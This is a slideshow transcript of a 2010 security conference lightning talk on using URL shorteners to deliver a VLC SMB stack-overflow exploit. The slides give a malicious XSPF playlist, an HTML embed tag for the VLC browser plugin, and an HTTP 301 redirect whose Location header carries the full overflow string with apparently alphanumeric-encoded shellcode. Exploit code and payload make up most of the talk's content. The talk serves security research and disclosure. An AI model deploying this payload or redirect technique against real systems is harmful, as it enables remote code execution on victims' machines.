Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

URL Shorteners made my day

1,671 views

Published on

Lightning talk delivered at Cansecwest 2010. A quick look at the wonders and dangers of URL shorteners.

Published in: Technology
  • Be the first to comment

URL Shorteners made my day

  1. 1. cansecwest 2010<br />lightning talk<br />Saumil Shah<br />
  2. 2. URL Shorteners...<br />http://cli.gs/4Q2zEv<br />...made my day!<br />
  3. 3. VLC smb overflow<br />smb://example.com@0.0.0.0/foo/#{AAAAAAAA....}<br />Classic Stack Overflow.<br />This MRL has to be fed to VLC.<br />Ugly method<br />create an XSPF file<br />embed the MRL inside it<br />email it around, etc...<br />
  4. 4. VLC XSPF file<br /><?xml version="1.0" encoding="UTF-8"?><br /><playlist version="1"<br /> xmlns="http://xspf.org/ns/0/"<br /> xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/"><br /> <title>Playlist</title><br /> <trackList><br /> <track><br /> <location><br /> smb://example.com@0.0.0.0/foo/#{AAAAAAAA....}<br /></location><br /> <extension<br /> application="http://www.videolan.org/vlc/playlist/0"><br /> <vlc:id>0</vlc:id><br /> </extension><br /> </track><br /> </trackList><br /></playlist><br />
  5. 5.
  6. 6. 100% Pure Alphanum!<br />
  7. 7. VLC smb overflow - HTMLized!!<br /><embed type="application/x-vlc-plugin"<br /> width="320" height="200"<br /> target="http://tinyurl.com/zomfg12"<br /> id="vlc" /><br />I'm in ur browser....<br />...blowin up ur g00dz<br />
  8. 8. 301 Redirect from tinyurl<br />HTTP/1.1 301 Moved Permanently<br />X-Powered-By: PHP/5.2.12<br />Location: smb://example.com@0.0.0.0/foo/#{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAj4?wTYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJICVK1JjIoFoQRPRBJGrChJmDnElGuBzCDHoOHF4P0P0CgLKHzNOQeIzNOCEJGIoM7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT00WT00WWYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLIxCtGpC0GpLKQUGLNkQlFeD8GqHoLKPOEHLKCoQ0EQHkQYLKP4NkEQJNP1KpNyNLMTIPQdC7KqIZDMC1O2JKL4GKCdGTGtBUIuLKQOQ4EQHkPfLKDLBkLKCoGlEQJKLKGlLKEQHkOyClQ4GtJcEaIPBDNkG0P0MUIPCHDLLKG0FlNkPpGlNMNkE8GxHkEYLKOpH0EPC0EPLKQxGLQOEaJVQpCfOyHxOsIPCKBpCXHpLJC4QOPhJ8KNNjDNF7KOIwPcCQPlQsDnCUCHPeEPAA}<br />Content-type: text/html<br />Content-Length: 0<br />Connection: close<br />Date: Fri, 26 Mar 2010 00:23:47 GMT<br />Server: TinyURL/1.6<br />
  9. 9. The END<br />

×